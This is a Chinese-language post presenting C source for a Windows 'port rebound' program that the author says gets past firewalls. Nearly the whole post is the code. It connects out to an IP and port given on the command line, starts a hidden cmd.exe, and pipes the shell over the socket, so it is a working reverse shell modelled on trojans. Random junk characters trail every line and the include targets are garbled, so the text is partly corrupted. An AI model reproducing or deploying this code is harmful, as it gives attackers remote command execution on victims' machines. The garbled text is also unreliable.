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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J/x@$'  
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/* ============================== E!I  
Rebound port in Windows NT zzfn0g  
By wind,2006/7 )jk1S  
===============================*/ .FKJ yzL  
#include xEiX<lguyN  
#include Sc'c$/  
pH\^1xj =  
#pragma comment(lib,"wsock32.lib") k?HrD"k"  
}PFt  
void OutputShell(); -H4+ur JJ  
SOCKET sClient; =\Vu=I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9y^kb+  
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void main(int argc,char **argv) %Nm @f'  
{ l7'{OB L  
WSADATA stWsaData; lkg"'p{  
int nRet; ``|gcG  
SOCKADDR_IN stSaiClient,stSaiServer; o'eI(@{F=  
G;Wkm|  
if(argc != 3) *f TG8h  
{ j6e}7  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7rdw`  
return; ^S#\O>GHP  
} ("?&p3];b  
;V~rWzKM(  
WSAStartup(MAKEWORD(2,2),&stWsaData); |)-|2cPRur  
b4v(k(<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B.YMP;7>  
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stSaiClient.sin_family = AF_INET; Ns2,hQFc  
stSaiClient.sin_port = htons(0); m4"N+_j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3ximNQ} S  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l`b1%0y  
{ TX23D)CX  
printf("Bind Socket Failed!\n"); ={`CH CI  
return; _r\$NgJIM  
} PUP"ky^q"  
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stSaiServer.sin_family = AF_INET; ;}/U+`=D?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tyEPU^PM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %AG1oWWc>.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *K(k Kph  
{ +}^|dkc  
printf("Connect Error!"); W|25t)cJ8h  
return; z.3<{-n}0i  
} ;8ET!&k*>E  
OutputShell(); skIiJ'db  
} bo@,4xw  
^kn ^CI6  
void OutputShell() s.yq}Q  
{ yB,{#nM>8  
char szBuff[1024]; FxCZRo&  
SECURITY_ATTRIBUTES stSecurityAttributes; 5LX8:~y  
OSVERSIONINFO stOsversionInfo; fB~O |g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ebN(05ZV  
STARTUPINFO stStartupInfo; oZvA~]x9\  
char *szShell; V @D]bV@4  
PROCESS_INFORMATION stProcessInformation; {~bIA!kAFI  
unsigned long lBytesRead; 4^DVW*OiI  
?;|@T ty%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b!0DH[XKV  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p$Kj<:qiP  
stSecurityAttributes.lpSecurityDescriptor = 0; yiV G ]s  
stSecurityAttributes.bInheritHandle = TRUE; (j' {~FB  
7qe7F l3  
*@_u4T7|{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); keLR1qf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y?yo\(Cdx  
D~#Ei?aH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i:o}!RZ>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZFS7{:  
stStartupInfo.wShowWindow = SW_HIDE;  nbI= r+  
stStartupInfo.hStdInput = hReadPipe; X^}A*4j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TUh&d5a9H  
^GMJ~[]  
GetVersionEx(&stOsversionInfo); qib 7Z]j  
KRYcCn  
switch(stOsversionInfo.dwPlatformId)  fb\DiKsW  
{ EgTFwEj  
case 1:  ep+  
szShell = "command.com"; (1CJw:  
break; M[, D  *  
default: 4% HGMr  
szShell = "cmd.exe"; c juZB Fl  
break; ^=EjadVQ  
} zfhTc=(/  
.K IVf8)"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =/FF1jQ  
*E:x E/M!2  
send(sClient,szMsg,77,0); qmZ2d!)o  
while(1) kG/X"6pZ  
{ c=6ahX}d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GCT@o!  
if(lBytesRead) t|}O.u-&;~  
{ aG%kmS&fv  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5m4DS:&  
send(sClient,szBuff,lBytesRead,0); !(Krf  
} (;a B!(_  
else [,=d7*b(l  
{ _%Bz,C8  
lBytesRead=recv(sClient,szBuff,1024,0); Lf. 1>s  
if(lBytesRead<=0) break; CSL#s^4T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gv#4#]  
} Ia2(Km  
} C.~ j'5N  
$>*Yhz `  
return; rH&G<o&,  
}
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